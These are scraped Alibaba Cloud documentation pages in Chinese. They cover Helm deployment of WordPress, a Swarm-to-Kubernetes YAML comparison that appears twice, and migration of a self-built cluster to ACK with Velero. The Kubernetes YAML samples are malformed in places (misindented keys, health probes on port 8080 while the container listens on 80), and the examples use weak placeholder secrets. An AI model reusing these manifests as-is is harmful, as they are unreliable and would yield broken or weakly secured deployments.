              • Release:在 Kubernetes 集群上运行的 Chart 的一个实例。在同一个集群上,一个 Chart 可以安装很多次。每次安装都会创建一个新的 release。例如一个 MySQL Chart,如果想在服务器上运行两个数据库,就可以把这个 Chart 安装两次。每次安装都会生成自己的 Release,会有自己的 Release 名称。
              • Repository:用于发布和存储 Chart 的存储库。

              Helm 组件

              Helm 采用客户端/服务器架构,由如下组件组成:

              • Helm CLI 是 Helm 客户端,可以在 Kubernetes 集群的 master 节点或者本地执行。
              • Tiller 是服务器端组件,在 Kubernetes 集群上运行,并管理 Kubernetes 应用程序的生命周期。
              • Repository 是 Chart 存储库,Helm 客户端通过 HTTP 协议来访问存储库中 Chart 的索引文件和压缩包。

              通过控制台界面部署应用

              1. 登录容器服务管理控制台
              2. 在 Kubernetes 菜单下,单击左侧导航栏中的市场 > 应用目录,进入应用目录列表页面。
              3. 选择一个 chart(本示例选择 WordPress),单击该 chart,进入 chart 详情页面。

                chart详情

              4. 在页面右侧,填写部署的基本信息。

                • 集群:应用要部署到的集群。
                • 命名空间:选择命名空间。默认为 default。
                • 发布名称:填写应用发布的名称。
                部署基本信息

              5. 单击参数,对配置进行修改。

                本示例中使用云盘的动态数据卷绑定一个PVC,参见云盘存储卷使用说明

                说明 您需要预先创建一个云盘存储卷(PV),并且存储卷的容量不能小于PVC定义的数值。

                修改参数配置

              6. 配置完成后,单击创建,部署成功后,默认进入该应用的发布页面。

                创建应用

              7. 单击左侧导航栏中的路由与负载均衡 > 服务,选择所需的集群和命名空间,找到对应的服务,您可获取 http/https 外部端点的地址。

                服务

              8. 单击上面的访问地址,进入 WordPress 博客发布页面。

              通过命令行部署应用

              通过命令行部署应用时,您可以 SSH 登录 Kubernetes 集群的 master 节点 (Helm CLI 已自动安装并已配置Repository)进行操作,参见SSH 访问 Kubernetes 集群。您也可以在本地安装配置 kubectl 和 Helm CLI。

              本示例以在本地安装配置 kubectl 和 Helm CLI 并部署 WordPress 和 Spark 应用为例进行说明。

              1. 安装配置 kubectl 和 Helm CLI。
                1. 在本地计算机上安装和配置 kubectl。

                  参见通过kubectl连接Kubernetes集群

                  若要查看 Kubernetes 目标集群的信息,键入命令 kubectl cluster-info

                2. 在本地计算机上安装 Helm。

                  安装方法,参见 Install Helm

              2. 部署 WordPress。

                下面我们将利用 Helm,来部署一个 WordPress 博客网站。

                1. 输入以下命令。

                  helm install --name wordpress-test stable/wordpress

                  说明 阿里云 Kubernetes 服务提供块存储(云盘)的动态存储卷支持,您需要预先创建一个云盘存储卷。

                  得到以下的结果。

                  NAME:   wordpress-test
                  LAST DEPLOYED: Mon Nov  20 19:01:55 2017
                  NAMESPACE: default
                  STATUS: DEPLOYED
                  ...

                2. 利用如下命令查看 WordPress 的 release 和 service。

                  helm list
                  kubectl get svc

                3. 利用以下命令查看 WordPress 相关的 Pod,并等待其状态变为 Running。

                  kubectl get pod

                4. 利用以下命令获得 WordPress 的访问地址。

                  echo http://$(kubectl get svc wordpress-test-wordpress -o jsonpath='{.status.loadBalancer.ingress[0].ip}')

                  通过上面的 URL,可以在浏览器上看到熟悉的 WordPress 站点。

                  也可以根据 Charts 的说明,利用如下命令获得 WordPress 站点的管理员用户和密码。

                  echo Username: user
                  echo Password: $(kubectl get secret --namespace default wordpress-test-wordpress -o jsonpath="{.data.wordpress-password}" | base64 --decode)

                5. 如需彻底删除 WordPress 应用,可输入如下命令。

                  helm delete --purge wordpress-test

              使用第三方的 Chart 存储库

              您除了可以使用预置的阿里云的 Chart 存储库,也可以使用第三方的 Chart 存储库(前提是网络是可达的)。使用如下命令格式添加第三方 Chart 存储库。

              helm repo add 存储库名 存储库URL
              helm repo update

              关于 Helm 相关命令的说明,您可以参见 Helm 文档

              参考信息

              Helm 催生了社区的发展壮大,越来越多的软件提供商,如 Bitnami 等公司,开始提供高质量的 Charts。您可以在 https://kubeapps.com/ 中寻找和发现已有的 Charts。

              上一篇:通过命令管理应用

              下一篇:使用应用触发器重新部署应用

              相关文档

              相关产品

              • 容器服务Kubernetes版

                容器服务Kubernetes版(Container Service for Kubernetes)提供高性能可伸缩的容器应用管理服务,支持企业级Kubernetes容器化应用的生命周期管理。

              • 容器服务(已停止服务)

                容器服务(Container Service)提供了高性能可伸缩的容器应用管理服务,支持在一组云服务器上通过 Docker 容器来进行应用生命周期管理。容器服务极大地简化了用户对容器管理集群的搭建工作,无缝整合了阿里云虚拟化、存储、网络和安全能力,打造 Docker 云端最优化的运行环境。容器服务提供了多种应用发布方式和流水线般的持续交付能力,原生支持微服务架构,助力用户无缝上云和跨云管理。

              • 容器镜像服务

                容器镜像服务(Container Registry)提供安全的应用镜像托管能力,精确的镜像安全扫描功能,稳定的国内外镜像构建服务,便捷的镜像授权功能,方便用户进行镜像全生命周期管理。容器镜像服务简化了Registry的搭建运维工作,支持多地域的镜像托管,并联合容器服务等云产品,打造云上使用Docker的一体化体验。

              以上内容是否对您有帮助?

              在文档使用中是否遇到以下问题

              • 内容错误

              • 更新不及时

              • 链接错误

              • 缺少代码/图片示例

              • 太简单/步骤待完善

              • 其他

              • 内容错误

              • 更新不及时

              • 链接错误

              • 缺少代码/图片示例

              • 太简单/步骤待完善

              • 其他

              更多建议

              匿名提交

              感谢您的打分,是否有意见建议想告诉我们?

              感谢您的反馈,反馈我们已经收到

              文档反馈

              ]]>
              使用yaml文件创建应用比对_容器服务swarm集群与Kubernetes集群的主要功能比对_Swarm迁移Kubernetes_最佳实践_容器服务Kubernetes版-阿里云 Fri, 02 May 2025 09:39:04 +0800 使用yaml文件创建应用比对

              更新时间:2020-03-02 10:13:17

              编辑 我的收藏

              新浪微博 微信 钉钉

              本页目录

              本文介绍容器服务Swarm集群与Kubernetes集群使用yaml文件创建应用时,Swarm集群下的yaml文件与Kubernetes集群下的yaml文件的对应关系。

              背景信息

              在使用yaml文件创建应用时,Swarm集群与Kubernetes集群的yaml文件格式不一样:

              本文将基于容器服务Swarm的yaml文件,介绍Kubernetes的yaml文件如何与之对应。文章中的yaml示例,仅作为示例,具体部署请依据具体情况添加及修改相关内容。

              容器服务Swarm与Kubernetes集群的yaml文件比对

              容器服务Swarm集群

              容器服务Swarm集群的yaml文件wordpress-swarm.yaml如下,注释中的阿拉伯数字与容器服务Kubernetes集群的yaml文件的注释对应。

              web:        #---1
                image: registry.aliyuncs.com/acs-sample/wordpress:4.5        #---2
                ports:        #---3
                  - '80'
                environment:        #---4
                  WORDPRESS_AUTH_KEY: changeme            #---5
                  WORDPRESS_SECURE_AUTH_KEY: changeme        #---5
                  WORDPRESS_LOGGED_IN_KEY: changeme        #---5
                  WORDPRESS_NONCE_KEY: changeme            #---5
                  WORDPRESS_AUTH_SALT: changeme            #---5
                  WORDPRESS_SECURE_AUTH_SALT: changeme        #---5
                  WORDPRESS_LOGGED_IN_SALT: changeme        #---5
                  WORDPRESS_NONCE_SALT: changeme            #---5
                  WORDPRESS_NONCE_AA: changeme            #---5
                restart: always        #---6
                links:            #---7
                  - 'db:mysql'
                labels:            #---8
                  aliyun.logs: /var/log        #---9
                  aliyun.probe.url: http://container/license.txt        #---10
                  aliyun.probe.initial_delay_seconds: '10'            #---10
                  aliyun.routing.port_80: http://wordpress            #---11
                  aliyun.scale: '3'                            #---12
              db:             #---1
                image: registry.aliyuncs.com/acs-sample/mysql:5.7        #---2
                environment:        #---4
                  MYSQL_ROOT_PASSWORD: password        #---5
                restart: always        #---6
                labels:        #---8
                  aliyun.logs: /var/log/mysql        #---9

              容器服务Kubernetes集群

              通过容器服务Swarm集群的wordpress-swarm.yaml文件部署的wordpress应用,在容器服务Kubernetes集群中对应2个服务:web和db。

              在容器服务Kubernetes集群上需要2个部署(deployment)和2个服务(service)。2个Deployment创建2个Service,2个服务分别暴露2个应用的访问方式。

              容器服务Swarm集群中的web应用对应Kubernetes集群的deployment和service如下:

              说明 以下yaml文件的内容仅作为示例说明与容器服务Swarm集群wordpress-swarm.yaml的对应关系,不可用作实际部署。

              • wordpress-kubernetes-web-deployment.yaml内容如下:
                apiVersion: apps/v1     # api版本
                kind: Deployment        # 创建资源的类型
                metadata:
                  name: wordpress      #---1 
                  labels:            #---8 在这里的label只能做标识作用
                    app: wordpress
                spec:    #资源创建详细内容
                  replicas: 2        #---12 设定实例(副本)个数
                  selector:  
                    matchLabels:
                      app: wordpress
                      tier: frontend
                strategy:
                type: Recreate
                  template:   #模板定义POD的详细信息
                    metadata:
                      labels:  #与前面保持一致
                        app: wordpress
                        tier: frontend
                    spec:    #定义pod中container的详细信息
                      containers:    #
                      - image: wordpress:4   #---2  对应于镜像及版本
                        name: wordpress
                        env:    #---4 环境变量设置,kubernetes上configmap,secret都可以通过env的方式使用
                        - name: WORDPRESS_DB_HOST
                          value: wordpress-mysql  #---7 通过名称指向需要访问的mysql,该名称与mysql service的名称相对应。
                        - name: WORDPRESS_DB_PASSWORD    #---5 密码在这里使用,但kubernetes提供了secret进行密码封装
                          valueFrom:
                            secretKeyRef:
                              name: mysql-pass
                              key: password-wordpress
                        ports:   #---3 容器内应用暴露的port
                        - containerPort: 80
                          name: wordpress
                livenessProbe:        #add health check    ---10 健康检查
                          httpGet:
                            path: /
                            port: 8080
                          initialDelaySeconds: 30
                          timeoutSeconds: 5
                          periodSeconds: 5
                        readinessProbe:       #add health check       ---10 健康检查
                          httpGet:
                            path: /
                            port: 8080
                          initialDelaySeconds: 5
                          timeoutSeconds: 1
                          periodSeconds: 5
                        volumeMounts:  #使用存储卷,将存储卷真正挂到容器内部
                        - name: wordpress-pvc
                          mountPath: /var/www/html
                      volumes:   #获取存储卷,需先进行PV和PVC的创建
                      - name: wordpress-pvc
                        persistentVolumeClaim:
                          claimName: wordpress-pv-claim
              • wordpress-kubernetes-web-service.yaml内容如下:
                apiVersion: v1   #版本号
                kind: Service    #创建资源类型,在这里为service
                metadata:
                  name: wordpress
                  labels:
                    app: wordpress
                spec:
                  ports:
                    - port: 80   #服务端口号
                  selector:  #通过label进行应用的关联
                    app: wordpress
                    tier: frontend
                  type: LoadBalancer  #---11 定义访问方式,此处为LoadBalancer类型的service,会自动创建SLB

              容器服务Swarm集群中的db应用对应Kubernetes集群的deployment和service如下:

              说明 以下yaml文件的内容仅作为示例说明与容器服务Swarm集群wordpress-swarm.yaml的对应关系,不可用作实际部署。

              • wordpress-kubernetes-db-deployment.yaml内容如下:
                apiVersion: apps/v1
                kind: Deployment
                metadata:
                  name: wordpress-mysql
                  labels:
                    app: wordpress
                spec:
                  selector:
                    matchLabels:
                      app: wordpress
                      tier: mysql
                  strategy:
                    type: Recreate
                  template:
                    metadata:
                      labels:
                        app: wordpress
                        tier: mysql
                    spec:
                      containers:
                      - image: mysql:5.6
                        name: mysql
                        env:
                        - name: MYSQL_ROOT_PASSWORD
                          valueFrom:
                            secretKeyRef:
                              name: mysql-pass
                              key: password-mysql
                        ports:
                        - containerPort: 3306
                          name: mysql
                        volumeMounts:
                        - name: wordpress-mysql-pvc
                          mountPath: /var/lib/mysql
                      volumes:
                      - name: wordpress-mysql-pvc
                        persistentVolumeClaim:
                          claimName: wordpress-mysql-pv-claim
              • wordpress-kubernetes-db-service.yaml内容如下:
                apiVersion: v1
                kind: Service
                metadata:
                  name: wordpress-mysql
                  labels:
                    app: wordpress
                spec:
                  ports:
                    - port: 3306
                  selector:
                    app: wordpress
                    tier: mysql
                      clusterIP: None

              上一篇:使用镜像创建应用-健康检查及自动伸缩比对

              下一篇:网络比对

              相关文档

              相关产品

              • 容器服务Kubernetes版

                容器服务Kubernetes版(Container Service for Kubernetes)提供高性能可伸缩的容器应用管理服务,支持企业级Kubernetes容器化应用的生命周期管理。

              • 容器服务(已停止服务)

                容器服务(Container Service)提供了高性能可伸缩的容器应用管理服务,支持在一组云服务器上通过 Docker 容器来进行应用生命周期管理。容器服务极大地简化了用户对容器管理集群的搭建工作,无缝整合了阿里云虚拟化、存储、网络和安全能力,打造 Docker 云端最优化的运行环境。容器服务提供了多种应用发布方式和流水线般的持续交付能力,原生支持微服务架构,助力用户无缝上云和跨云管理。

              • 容器镜像服务

                容器镜像服务(Container Registry)提供安全的应用镜像托管能力,精确的镜像安全扫描功能,稳定的国内外镜像构建服务,便捷的镜像授权功能,方便用户进行镜像全生命周期管理。容器镜像服务简化了Registry的搭建运维工作,支持多地域的镜像托管,并联合容器服务等云产品,打造云上使用Docker的一体化体验。

              以上内容是否对您有帮助?

              在文档使用中是否遇到以下问题

              • 内容错误

              • 更新不及时

              • 链接错误

              • 缺少代码/图片示例

              • 太简单/步骤待完善

              • 其他

              • 内容错误

              • 更新不及时

              • 链接错误

              • 缺少代码/图片示例

              • 太简单/步骤待完善

              • 其他

              更多建议

              匿名提交

              感谢您的打分,是否有意见建议想告诉我们?

              感谢您的反馈,反馈我们已经收到

              文档反馈

              ]]>
              使用yaml文件创建应用比对_容器服务swarm集群与Kubernetes集群的主要功能比对_最佳实践_容器服务(已停止服务)-阿里云 Fri, 02 May 2025 09:39:04 +0800 使用yaml文件创建应用比对

              更新时间:2019-03-12 10:32:29

              编辑 我的收藏

              新浪微博 微信 钉钉

              本页目录

              本文介绍容器服务Swarm集群与Kubernetes集群使用yaml文件创建应用时,Swarm集群下的yaml文件与Kubernetes集群下的yaml文件的对应关系。

              背景信息

              在使用yaml文件创建应用时,Swarm集群与Kubernetes集群的yaml文件格式不一样:

              本文将基于容器服务Swarm的yaml文件,介绍介绍Kubernetes的yaml文件如何与之对应。文章中的yaml示例,仅作为示例,具体部署请依据具体情况添加及修改相关内容。

              容器服务Swarm与Kubernetes集群的yaml文件比对

              容器服务Swarm集群

              容器服务Swarm集群的yaml文件 wordpress-swarm.yaml如下,注释中的阿拉伯数字与容器服务Kubernetes集群的yaml文件的注释对应。

              web:		#---1
                image: registry.aliyuncs.com/acs-sample/wordpress:4.5		#---2
                ports:		#---3
                  - '80'
                environment:		#---4
                  WORDPRESS_AUTH_KEY: changeme			#---5
                  WORDPRESS_SECURE_AUTH_KEY: changeme		#---5
                  WORDPRESS_LOGGED_IN_KEY: changeme		#---5
                  WORDPRESS_NONCE_KEY: changeme			#---5
                  WORDPRESS_AUTH_SALT: changeme			#---5
                  WORDPRESS_SECURE_AUTH_SALT: changeme		#---5
                  WORDPRESS_LOGGED_IN_SALT: changeme		#---5
                  WORDPRESS_NONCE_SALT: changeme			#---5
                  WORDPRESS_NONCE_AA: changeme			#---5
                restart: always		#---6
                links:			#---7
                  - 'db:mysql'
                labels:			#---8
                  aliyun.logs: /var/log		#---9
                  aliyun.probe.url: http://container/license.txt		#---10
                  aliyun.probe.initial_delay_seconds: '10'			#---10
                  aliyun.routing.port_80: http://wordpress			#---11
                  aliyun.scale: '3'							#---12
              db: 			#---1
                image: registry.aliyuncs.com/acs-sample/mysql:5.7		#---2
                environment:		#---4
                  MYSQL_ROOT_PASSWORD: password		#---5
                restart: always		#---6
                labels:		#---8
                  aliyun.logs: /var/log/mysql		#---9

              容器服务Kubernetes集群

              通过容器服务Swarm集群的wordpress-swarm.yaml文件部署的wordpress应用,在容器服务Kubernetes集群中对应2个服务:web和db。

              在容器服务Kubernetes集群上需要2个部署(deployment)和2个服务(service)。2个Deployment创建2个Service,2个服务分别暴露2个应用的访问方式。

              容器服务Swarm集群中的web应用对应Kubernetes集群的deployment和service如下:

              说明 以下yaml文件的内容仅作为示例说明与容器服务Swarm集群 wordpress-swarm.yaml的对应关系,不可用作实际部署。

              • wordpress-kubernetes-web-deployment.yaml内容如下:
                apiVersion: apps/v1     # api版本
                kind: Deployment		# 创建资源的类型
                metadata:
                  name: wordpress      #---1 
                  labels:			#---8 在这里的label只能做标识作用
                    app: wordpress
                spec:	#资源创建详细内容
                  replicas: 2        #---12 设定实例(副本)个数
                  selector:  
                    matchLabels:
                      app: wordpress
                      tier: frontend
                strategy:
                type: Recreate
                  template:   #模板定义POD的详细信息
                    metadata:
                      labels:  #与前面保持一致
                        app: wordpress
                        tier: frontend
                    spec:    #定义pod中container的详细信息
                      containers:    #
                      - image: wordpress:4   #---2  对应于镜像及版本
                        name: wordpress
                        env:    #---4 环境变量设置,kubernetes上configmap,secret都可以通过env的方式使用
                        - name: WORDPRESS_DB_HOST
                          value: wordpress-mysql  #---7 通过名称指向需要访问的mysql,该名称与mysql service的名称相对应。
                        - name: WORDPRESS_DB_PASSWORD    #---5 密码在这里使用,但kubernetes提供了secret进行密码封装
                          valueFrom:
                            secretKeyRef:
                              name: mysql-pass
                              key: password-wordpress
                        ports:   #---3 容器内应用暴露的port
                        - containerPort: 80
                          name: wordpress
                livenessProbe:        #add health check    ---10 健康检查
                          httpGet:
                            path: /
                            port: 8080
                          initialDelaySeconds: 30
                          timeoutSeconds: 5
                          periodSeconds: 5
                        readinessProbe:       #add health check	   ---10 健康检查
                          httpGet:
                            path: /
                            port: 8080
                          initialDelaySeconds: 5
                          timeoutSeconds: 1
                          periodSeconds: 5
                        volumeMounts:  #使用存储卷,将存储卷真正挂到容器内部
                        - name: wordpress-pvc
                          mountPath: /var/www/html
                      volumes:   #获取存储卷,需先进行PV和PVC的创建
                      - name: wordpress-pvc
                        persistentVolumeClaim:
                          claimName: wordpress-pv-claim
              • wordpress-kubernetes-web-service.yaml内容如下:
                apiVersion: v1   #版本号
                kind: Service    #创建资源类型,在这里为service
                metadata:
                  name: wordpress
                  labels:
                    app: wordpress
                spec:
                  ports:
                    - port: 80   #服务端口号
                  selector:  #通过label进行应用的关联
                    app: wordpress
                    tier: frontend
                  type: LoadBalancer  #---11 定义访问方式,此处为LoadBalancer类型的service,会自动创建SLB

              容器服务Swarm集群中的db应用对应Kubernetes集群的deployment和service如下:

              说明 以下yaml文件的内容仅作为示例说明与容器服务Swarm集群 wordpress-swarm.yaml的对应关系,不可用作实际部署。

              • wordpress-kubernetes-db-deployment.yaml内容如下:
                apiVersion: apps/v1
                kind: Deployment
                metadata:
                  name: wordpress-mysql
                  labels:
                    app: wordpress
                spec:
                  selector:
                    matchLabels:
                      app: wordpress
                      tier: mysql
                  strategy:
                    type: Recreate
                  template:
                    metadata:
                      labels:
                        app: wordpress
                        tier: mysql
                    spec:
                      containers:
                      - image: mysql:5.6
                        name: mysql
                        env:
                        - name: MYSQL_ROOT_PASSWORD
                          valueFrom:
                            secretKeyRef:
                              name: mysql-pass
                              key: password-mysql
                        ports:
                        - containerPort: 3306
                          name: mysql
                        volumeMounts:
                        - name: wordpress-mysql-pvc
                          mountPath: /var/lib/mysql
                      volumes:
                      - name: wordpress-mysql-pvc
                        persistentVolumeClaim:
                          claimName: wordpress-mysql-pv-claim
              • wordpress-kubernetes-db-service.yaml内容如下:
                apiVersion: v1
                kind: Service
                metadata:
                  name: wordpress-mysql
                  labels:
                    app: wordpress
                spec:
                  ports:
                    - port: 3306
                  selector:
                    app: wordpress
                    tier: mysql
                      clusterIP: None

              上一篇:使用镜像创建应用-健康检查及自动伸缩比对

              下一篇:网络比对

              相关文档

              相关产品

              • 容器服务(已停止服务)

                容器服务(Container Service)提供了高性能可伸缩的容器应用管理服务,支持在一组云服务器上通过 Docker 容器来进行应用生命周期管理。容器服务极大地简化了用户对容器管理集群的搭建工作,无缝整合了阿里云虚拟化、存储、网络和安全能力,打造 Docker 云端最优化的运行环境。容器服务提供了多种应用发布方式和流水线般的持续交付能力,原生支持微服务架构,助力用户无缝上云和跨云管理。

              • 容器服务Kubernetes版

                容器服务Kubernetes版(Container Service for Kubernetes)提供高性能可伸缩的容器应用管理服务,支持企业级Kubernetes容器化应用的生命周期管理。

              • 容器镜像服务

                容器镜像服务(Container Registry)提供安全的应用镜像托管能力,精确的镜像安全扫描功能,稳定的国内外镜像构建服务,便捷的镜像授权功能,方便用户进行镜像全生命周期管理。容器镜像服务简化了Registry的搭建运维工作,支持多地域的镜像托管,并联合容器服务等云产品,打造云上使用Docker的一体化体验。

              以上内容是否对您有帮助?

              在文档使用中是否遇到以下问题

              • 内容错误

              • 更新不及时

              • 链接错误

              • 缺少代码/图片示例

              • 太简单/步骤待完善

              • 其他

              • 内容错误

              • 更新不及时

              • 链接错误

              • 缺少代码/图片示例

              • 太简单/步骤待完善

              • 其他

              更多建议

              匿名提交

              感谢您的打分,是否有意见建议想告诉我们?

              感谢您的反馈,反馈我们已经收到

              文档反馈

              ]]>
              Kubernetes应用迁移_自建Kubernetes迁移ACK_最佳实践_容器服务Kubernetes版-阿里云 Fri, 02 May 2025 09:39:04 +0800 Kubernetes应用迁移

              更新时间:2020-03-03 11:03:16

              本页目录

              本文记录使用Velero Restic快速完成云原生应用及PV数据从自建Kubernetes迁移到阿里云Kubernetes集群的实践过程。 此过程也同样适用于其他云厂商Kubernetes集群内的应用及PV数据迁移至阿里云Kubernetes集群。

              前提条件

              自建Kubernetes集群通常位于用户自己的IDC中,容器镜像的存储也会使用自建镜像仓库, 在自建Kubernetes应用迁移上云之前,您需要先将容器镜像迁移上云到ACR。具体步骤请参见容器镜像迁移

              本示例中,假设wordpress应用中涉及如下容器镜像。

              registry.api.paas.com:5000/admin/wordpress:latest
              registry.api.paas.com:5000/admin/mysql:8

              迁移上云后的镜像如下。

              registry.cn-hangzhou.aliyuncs.com/ack-migration/wordpress:latest
              registry.cn-hangzhou.aliyuncs.com/ack-migration/mysql:8

              背景信息

              在本示例中, 我们将对自建Kubernetes集群中的一个wordpress应用整体迁移上云到ACK,wordpress示例应用分wordpress和mysql两个组件, 分别绑定两个不同的nfs volume用于应用数据的持久化存储,最后通过NodePort暴露服务。

              操作步骤

              1. 准备迁移环境
              2. 在自建Kubernetes集群备份应用
              3. 在阿里云Kubernetes集群恢复应用
              4. 更新应用配置
              5. 调试并启动应用

              准备迁移环境

              请按照以下步骤,分别在阿里云Kubernetes集群和自建Kubernetes集群中部署Velero。

              说明 部署Velero包含部署Velero客户端和部署Velero服务器。

              1. 安装Velero客户端。

                下载Velero客户端工具,并执行如下命令安装和验证Velero客户端。

                $ curl -o /usr/bin/velero https://public-bucket-1.oss-cn-hangzhou.aliyuncs.com/velero && chmod +x /usr/bin/velero 

              2. 创建OSS Bucket。请参见创建存储空间

                velero 要求您需要先创建一个OSS Bucket,用于存储 Kubernetes 应用数据及其PV数据, 推荐每个Kubernetes集群单独使用各自的OSS Bucket。

                1. 登录 OSS 管理控制台
                2. 登录 OSS 管理控制台
                3. 您可以在概览页,单击右侧的创建 Bucket

                  您也可以单击 Bucket 列表 > 创建 Bucket

                4. 创建 Bucket 对话框配置 Bucket 参数。

                  本示例中创建的OSS Bucket名称为ls-velero,创建的区域为华东1(杭州)。

              3. 创建RAM账号并生成AccessKey。请参见创建RAM用户

                如果您使用主账号AccessKey,可以跳过此步骤。

                {
                    "Version": "1",
                    "Statement": [
                        {
                            "Action": [
                                "ecs:DescribeSnapshots",
                                "ecs:CreateSnapshot",
                                "ecs:DeleteSnapshot",
                                "ecs:DescribeDisks",
                                "ecs:CreateDisk",
                                "ecs:Addtags",
                                "oss:PutObject",
                                "oss:GetObject",
                                "oss:DeleteObject",
                                "oss:GetBucket",
                                "oss:ListObjects"
                            ],
                            "Resource": [
                                "*"
                            ],
                            "Effect": "Allow"
                        }
                    ]
                }

              4. 部署Velero服务端。
                1. 步骤三生成的AccessKey信息填入Velero的部署文件credentials-velero中。

                  ALIBABA_CLOUD_ACCESS_KEY_ID=<access_key_id>
                  ALIBABA_CLOUD_ACCESS_KEY_SECRET=<access_key_secret>

                2. 执行以下命令部署Velero。

                  velero install --provider alibabacloud --image registry.cn-hangzhou.aliyuncs.com/haoshuwei24/velero:v1.2.0 --bucket ls-velero --secret-file ./credentials-velero --use-volume-snapshots=false --backup-location-config region=cn-hangzhou --use-restic --plugins registry.cn-hangzhou.aliyuncs.com/acs/velero-plugin-alibabacloud:v1.2 --wait

                执行以下命令,可以查看pod的运行状态。

                kubectl -n velero get po
                NAME                      READY   STATUS    RESTARTS   AGE
                restic-fqwsc              1/1     Running   0          41s
                restic-kfzqt              1/1     Running   0          41s
                restic-klxhc              1/1     Running   0          41s
                restic-ql2kr              1/1     Running   0          41s
                restic-qrsrn              1/1     Running   0          41s
                restic-srjmm              1/1     Running   0          41s
                velero-67b975f5cb-68nj4   1/1     Running   0          41s

              在自建Kubernetes集群备份应用

              • 如果只需要备份wordpress应用而不备份PV数据,执行以下操作。
                $ velero backup create wordpress-backup-without-pv --include-namespaces wordpress
                Backup request "wordpress-backup-without-pv" submitted successfully.
                Run `velero backup describe wordpress-backup-without-pv` or `velero backup logs wordpress-backup-without-pv` for more details.
                
                $ velero backup get
                NAME                          STATUS      CREATED                         EXPIRES   STORAGE LOCATION   SELECTOR
                wordpress-backup-without-pv   Completed   2019-12-12 14:08:24 +0800 CST   29d       default            <none>
              • 如果需要备份带PV数据的wordpress应用,执行以下操作。
                # 首先需要为挂载pv数据卷的pod添加annotation, 例如wordpress应用运行了2个pod, 分别为wordpress-7cf5849f47-mbvx4 mysql-74dddbdcc8-h2tls, wordpress-7cf5849f47-mbvx4
                # 挂载的volume名为mysql-persistent-storage, mysql-74dddbdcc8-h2tls挂载的volume名为wordpress-persistent-storage, 则添加annotation的命令为
                $ kubectl -n wordpress annotate pod/wordpress-7cf5849f47-mbvx4 backup.velero.io/backup-volumes=wordpress-persistent-storage
                pod/wordpress-7cf5849f47-mbvx4 annotated
                $ kubectl -n wordpress annotate pod/mysql-74dddbdcc8-h2tls backup.velero.io/backup-volumes=mysql-persistent-storage
                pod/mysql-74dddbdcc8-h2tls annotated
                
                # 备份wordpress
                $ velero backup create wordpress-backup-with-pv --include-namespaces wordpress
                Backup request "wordpress-backup-with-pv" submitted successfully.
                Run `velero backup describe wordpress-backup-with-pv` or `velero backup logs wordpress-backup-with-pv` for more details.
                $ velero backup get
                NAME                          STATUS      CREATED                         EXPIRES   STORAGE LOCATION   SELECTOR
                wordpress-backup-with-pv      Completed   2019-12-12 14:23:40 +0800 CST   29d       default            <none>
                wordpress-backup-without-pv   Completed   2019-12-12 14:08:24 +0800 CST   29d       default            <none>

              完成后,在OSS管理控制台,查看OSS Bucket可以看到备份的文件。

              在阿里云Kubernetes集群恢复应用

              wordpress应用使用NFS类型持久化数据卷,相应的,在ACK中我们可以适配NAS volume,在本示例中,我们创建与Wordpress应用所使用的StorageClass NFS, 但后端存储介质使用SSD云盘块存储。

              本示例使用阿里云Kubernetes集群使用CSI plugin, 请参见动态云盘卷

              1. 创建StorageClass。

                如果在阿里云Kubernetes集群上备份wordpress应用不带PV数据,则跳过此步骤。

                $ cat nfs.yaml
                apiVersion: storage.k8s.io/v1
                kind: StorageClass
                metadata:
                   name: nfs
                provisioner: diskplugin.csi.alibabacloud.com
                parameters:
                    type: cloud_ssd
                reclaimPolicy: Retain
                
                $ kubectl apply -f nfs.yaml
                storageclass.storage.k8s.io/nfs created

              2. 恢复wordpress应用。

                使用Velero恢复wordpress应用到阿里云Kubernetes集群,完成wordpress从自建Kubernetes集群到阿里云Kubernetes集群的迁移。

                $ velero restore create --from-backup wordpress-backup-with-pv
                $ velero restore get
                NAME                                      BACKUP                     STATUS       WARNINGS   ERRORS   CREATED                         SELECTOR
                wordpress-backup-with-pv-20191212152745   wordpress-backup-with-pv   InProgress   0          0        2019-12-12 15:27:45 +0800 CST   <none>
                $ velero restore get

                此时查看wordpress应用运行情况,会有镜像拉取失败的问题。

                $ kubectl -n wordpress get po
                NAME                         READY   STATUS         RESTARTS   AGE
                mysql-669b4666cd-trsnz       0/1     ErrImagePull   0          19m
                mysql-74dddbdcc8-h2tls       0/1     Init:0/1       0          19m
                wordpress-7cf5849f47-mbvx4   0/1     Init:0/1       0          19m
                wordpress-bb5d74d95-xcjxw    0/1     ErrImagePull   0          19m

              更新应用配置

              应用配置项主要包含镜像地址、服务暴露方式及存储盘挂载等。本例中 ,仅涉及更新镜像地址。

              1. 登录容器服务管理控制台
              2. 在 Kubernetes 菜单下,单击左侧导航栏的应用 > 无状态,选择目标集群和命名空间。
              3. 在wordpress应用右侧操作列单击更多 > 查看Yaml
              4. 编辑 YAML页面把image字段替换成迁移后的镜像地址后,单击更新

                说明 您可以在前提条件中获取迁移后的镜像地址。

                查看wordpress应用运行情况。

                $ kubectl -n wordpress get po
                NAME                         READY   STATUS    RESTARTS   AGE
                mysql-678b5d8499-vckfd       1/1     Running   0          100s
                wordpress-8566f5f7d8-7shk6   1/1     Running   0          3m18s

                测试环境绑定hosts后,通过http://wordpress.myk8s.paas.com:31570/访问wordpress应用。

              调试并启动应用

              wordpress示例应用分wordpress和mysql两个组件, 分别绑定两个不同的nfs volume用于应用数据的持久化存储,最后通过NodePort暴露服务。yaml文件示例如下:

              # 1. 创建nfs storageclass
              $ cat nfs-sc.yaml
              apiVersion: storage.k8s.io/v1
              kind: StorageClass
              metadata:
                name: nfs
              provisioner: helm.default/nfs
              reclaimPolicy: Delete
              $ kubectl apply -f  nfs-sc.yaml
              
              # 2. 创建mysql password的secret, echo -n "mysql" |base64
              $ cat secret.yaml
              apiVersion: v1
              kind: Secret
              metadata:
                name: mysql
              type: Opaque
              data:
                password: bXlzcWw=
              $ kubectl apply -f secret.yaml
              
              # 3. 创建mysql的pvc deployment service
              $ cat mysql.yaml
              apiVersion: v1
              kind: Service
              metadata:
                name: mysql
                labels:
                  app: mysql
              spec:
                type: ClusterIP
                ports:
                  - port: 3306
                selector:
                  app: mysql
              ---
              apiVersion: v1
              kind: PersistentVolumeClaim
              metadata:
                name: mysql-volumeclaim
                annotations:
                  volume.beta.kubernetes.io/storage-class: "nfs"
              spec:
                accessModes:
                  - ReadWriteOnce
                resources:
                  requests:
                    storage: 20Gi
              
              ---
              apiVersion: apps/v1
              kind: Deployment
              metadata:
                name: mysql
                labels:
                  app: mysql
              spec:
                replicas: 1
                selector:
                  matchLabels:
                    app: mysql
                template:
                  metadata:
                    labels:
                      app: mysql
                  spec:
